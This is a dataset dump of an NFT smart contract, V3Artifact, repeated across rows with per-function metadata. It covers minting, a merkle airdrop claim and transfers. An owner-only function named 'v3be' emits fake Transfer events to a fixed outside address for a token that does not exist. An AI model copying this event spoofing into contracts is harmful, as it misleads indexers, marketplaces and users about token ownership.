_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | symbol | function symbol() public view virtual override returns (string memory) {
return _symbol;
}
| /**
* @dev See {IERC721Metadata-symbol}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
5278,
5384
]
} | 4,290 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | tokenURI | function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
| /**
* @dev See {IERC721Metadata-tokenURI}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
5446,
5788
]
} | 4,291 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
